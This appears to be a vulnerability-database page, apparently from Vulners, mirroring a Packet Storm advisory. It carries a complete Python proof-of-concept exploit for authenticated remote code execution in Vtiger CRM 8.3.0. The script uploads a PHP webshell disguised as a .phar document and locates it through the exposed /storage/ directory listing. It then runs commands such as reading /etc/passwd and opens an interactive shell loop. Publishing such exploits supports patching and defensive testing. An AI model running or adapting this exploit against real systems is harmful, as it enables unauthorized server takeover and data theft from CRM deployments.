Lucene search
K

📄 Vtiger CRM 8.3.0 Shell Upload

🗓️ 08 Jul 2026 00:00:00Reported by Jiva SecurityType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

Authenticated remote code execution in Vtiger CRM 8.3.0 via .phar upload and exposed storage directory.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-23697
7 Jul 202616:26
githubexploit
ATTACKERKB
CVE-2026-23697
7 Jul 202616:17
attackerkb
Circl
CVE-2026-23697
7 Jul 202619:58
circl
CVE
CVE-2026-23697
7 Jul 202616:17
cve
Cvelist
CVE-2026-23697 Vtiger CRM < 8.4.0 Authenticated File Upload RCE via Documents Module
7 Jul 202616:17
cvelist
EUVD
EUVD-2026-42055
7 Jul 202616:17
euvd
NVD
CVE-2026-23697
7 Jul 202617:16
nvd
Positive Technologies
PT-2026-56207
7 Jul 202600:00
ptsecurity
Vulnrichment
CVE-2026-23697 Vtiger CRM < 8.4.0 Authenticated File Upload RCE via Documents Module
7 Jul 202616:17
vulnrichment
#!/usr/bin/env python3
    """
    Vtiger CRM Authenticated RCE via .phar Upload
    Affected versions: Vtiger CRM 8.3.0 (fresh wizard-installed instances where
                       'phar' is absent from upload_badext in config.inc.php)
    
    Author: jiva (jivasecurity.com)
    
    Three-component exploit chain:
      1. .phar extension missing from the upload blacklist ($upload_badext in config.inc.php)
      2. storage/.htaccess uses Apache 2.2 'deny from all' syntax -- silently ignored
         on Apache 2.4 without mod_access_compat, making storage/ files web-accessible
      3. Apache directory listing enabled on /storage/ -- exposes uploaded filename,
         eliminating the only remaining obstacle (filename unpredictability)
    
    Exploit flow:
      1. Authenticate as any user with Documents module access
      2. Upload a .phar webshell via the Documents module
      3. Browse /storage/ directory listing to discover the stored filename
      4. GET the .phar file to trigger PHP execution
    
    Usage:
      python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --port 8080
      python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 -u jsmith -p password1 --cmd whoami
      python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --cmd 'cat /etc/passwd'
    
    Requirements:
      pip3 install requests
    """
    
    import argparse
    import datetime
    import re
    import sys
    
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    WEBSHELL = b'<?php system($_GET["cmd"]); ?>'
    
    
    def get_csrf(session, url):
        resp = session.get(url, verify=False)
        # Try JS variable first, then hidden input form
        m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
        if not m:
            m = re.search(r'name=["\']__vtrftk["\']\s+value=["\']([^"\']+)["\']', resp.text)
        if not m:
            sys.exit(f"[!] CSRF token not found at {url}")
        return m.group(1)
    
    
    def login(session, base, username, password):
        csrf = get_csrf(session, f"{base}/index.php")
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Users",
                "action": "Login",
                "username": username,
                "password": password,
            },
            allow_redirects=True,
            verify=False,
        )
        if "logout" not in resp.text.lower():
            sys.exit("[!] Login failed — check credentials and target URL")
        print(f"[+] Authenticated as {username!r}")
    
    
    def upload_webshell(session, base):
        csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Documents",
                "action": "Save",
                "record": "",
                "notes_title": "report",
                "folderid": "1",
                "assigned_user_id": "1",
                "notecontent": "test",
                "filelocationtype": "I",
                "filestatus": "1",
                "fileversion": "1",
            },
            files={"filename": ("shell.phar", WEBSHELL, "application/octet-stream")},
            allow_redirects=False,
            verify=False,
        )
        if resp.status_code not in (301, 302):
            print(f"[!] Upload did not redirect (HTTP {resp.status_code})")
            print("    Possible causes:")
            print("    - 'phar' is in the upload_badext blocklist on this instance")
            print("      (applies to instances not installed via wizard, or with manual config)")
            print("    - User lacks Documents module write access")
            sys.exit(1)
        print("[+] Webshell uploaded")
    
    
    def find_shell(session, base):
        now = datetime.datetime.now()
        week = (now.day - 1) // 7 + 1
    
        # Check current week first, then adjacent weeks to handle edge cases
        candidates = [
            (now.year, now.strftime("%B"), f"week{week}"),
            (now.year, now.strftime("%B"), f"week{max(1, week - 1)}"),
        ]
    
        for year, month, week_dir in candidates:
            url = f"{base}/storage/{year}/{month}/{week_dir}/"
            resp = session.get(url, verify=False)
            if resp.status_code != 200 or "Index of" not in resp.text:
                continue
            m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
            if m:
                shell_url = url + m.group(1)
                print(f"[+] Shell found via directory listing: {shell_url}")
                return shell_url
    
        sys.exit(
            "[!] .phar file not found in directory listing.\n"
            "    Check that Apache directory listing is enabled on /storage/\n"
            "    and that the upload succeeded."
        )
    
    
    def execute(session, shell_url, cmd):
        resp = session.get(shell_url, params={"cmd": cmd}, verify=False)
        if resp.status_code != 200 or not resp.text.strip():
            print(f"[!] Shell returned HTTP {resp.status_code} with empty body")
            print("    The .phar file may not be executing as PHP.")
            print("    Check that mod_access_compat is NOT loaded in Apache.")
            sys.exit(1)
        return resp.text.strip()
    
    
    def main():
        ap = argparse.ArgumentParser(
            description="Vtiger CRM authenticated RCE via .phar upload",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=(
                "Note: Exploitable on instances where 'phar' is absent from $upload_badext\n"
                "      (fresh wizard-installed instances). Requires Apache 2.4 without\n"
                "      mod_access_compat and directory listing enabled on /storage/."
            ),
        )
        ap.add_argument("--host", required=True, help="Target host")
        ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
        ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
        ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
        ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
        ap.add_argument("--shell", action="store_true",
                        help="Drop to interactive shell loop after initial RCE confirmation")
        args = ap.parse_args()
    
        base = f"http://{args.host}:{args.port}"
        session = requests.Session()
        session.headers["User-Agent"] = "Mozilla/5.0"
    
        print(f"[*] Target: {base}")
        print(f"[*] Vtiger CRM .phar upload RCE")
    
        login(session, base, args.username, args.password)
        upload_webshell(session, base)
        shell_url = find_shell(session, base)
    
        output = execute(session, shell_url, args.cmd)
        print(f"\n$ {args.cmd}")
        print(output)
    
        if args.shell:
            print(f"\n[*] Interactive shell — Ctrl+C to exit")
            print(f"[*] Shell URL: {shell_url}?cmd=<command>\n")
            while True:
                try:
                    cmd = input("$ ").strip()
                    if not cmd:
                        continue
                    print(execute(session, shell_url, cmd))
                except KeyboardInterrupt:
                    print("\n[*] Exiting")
                    break
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 48.7
CVSS 3.18.8
EPSS0.00758
SSVC
11